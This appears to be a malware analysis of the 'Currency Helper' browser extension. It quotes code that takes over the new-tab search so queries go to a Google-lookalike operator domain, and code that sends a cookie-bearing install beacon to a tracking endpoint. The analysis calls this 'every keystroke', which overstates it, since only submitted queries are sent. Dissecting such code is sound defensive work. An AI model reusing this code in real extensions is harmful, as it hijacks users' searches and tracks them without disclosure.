Currency Helper

The extension overrides the browser's New Tab page (manifest `chrome_url_overrides.newtab`) and routes every user search query through an operator-controlled domain — `goog.currencyhelperext.com/?sprv=1&q=<query>` — rather than the user's chosen default search engine. The hidden `searchsource=69`, `SearchLocation=main`, and `offlineTabSearch=true` parameters plus the `sprv=1` flag are characteristic of affiliate/monetized search-feed redirects (the `goog.` subdomain is also designed to look like Google to a casual observer). Every keystroke the user submits in their address-bar-equivalent search box is exfiltrated to a third party and monetized via search-syndication referral revenue.

children: [(0, i.jsxs)("form", {        name: "search",        id: "searchForm",        target: "_parent",        children: [(0, i.jsxs)("div", {          children: [(0, i.jsx)(ai, {            color: "#fff",            icon: Fn          }), (0, i.jsx)("input", {            type: "search",            id: "searchInput",            name: "q",            ref: e,            "data-locale": "placeholder",            autoComplete: "off",            placeholder: "Search"          })]        }), (0, i.jsx)("button", {          onClick: t => {            t.preventDefault();            const n = e.current.value;            n.length > 0 && "" !== n.trim() && (window.location.href =              `https://goog.currencyhelperext.com/?sprv=1&q=${n}`)          },          id: "searchBtn",          type: "submit",          "data-tooltip": "SEARCH",          children: "SEARCH"        }), (0, i.jsx)("input", {          type: "hidden",          name: "searchsource",          value: "69"        }), (0, i.jsx)("input", {          type: "hidden",          name: "SearchLocation",          value: "main"        }), (0, i.jsx)("input", {          type: "hidden",          name: "offlineTabSearch",          value: "true"        })]

On install, the background service worker beacons to `pxl.currencyhelperext.com/thx` (the `pxl.` subdomain and `/thx` path are conventional names for tracking-pixel / 'thank-you' install attribution endpoints). The request is sent with `credentials: "include"`, so any cookies the operator has set on `currencyhelperext.com` (e.g. an affiliate/click-id cookie dropped by the install funnel) are sent to the server, allowing the operator to attribute the install back to a paid acquisition source. This is an undisclosed install-tracking beacon — the only declared host permission is for the same parent domain, and no privacy disclosure of this telemetry exists on the new-tab page.

chrome.runtime.onInstalled.addListener((function(e) {  if ("install" == e.reason) try {    console.log("install"), fetch("https://pxl.currencyhelperext.com/thx", {      method: "POST",      credentials: "include",      headers: {        Accept: "application/json",        "Content-Type": "application/json"      },      body: JSON.stringify({        extension_name: "Currency Helper Extension"      })    })  } catch (e) {    console.log(e)  }}));

The new-tab override page is the delivery vehicle for the search-redirect hijack: it loads the bundled `newtab.8cbecc6b.js` which replaces the user's default search experience with the operator's monetized redirect endpoint. Combined with the `chrome_url_overrides.newtab` declaration in the manifest, this constitutes a default-new-tab/search hijack that runs on every new tab the user opens.

< !DOCTYPE html>  < html>    < head>      < link rel="stylesheet" href="/newtab.db056d9a.css">        < title> Currency Helper < /title>            <meta charset="utf-8">            </head>            < body>              < div id="root">                < /div>                  <script src="/newtab.8 cbecc6b.js " type="module "></script>                  </body>                  </html>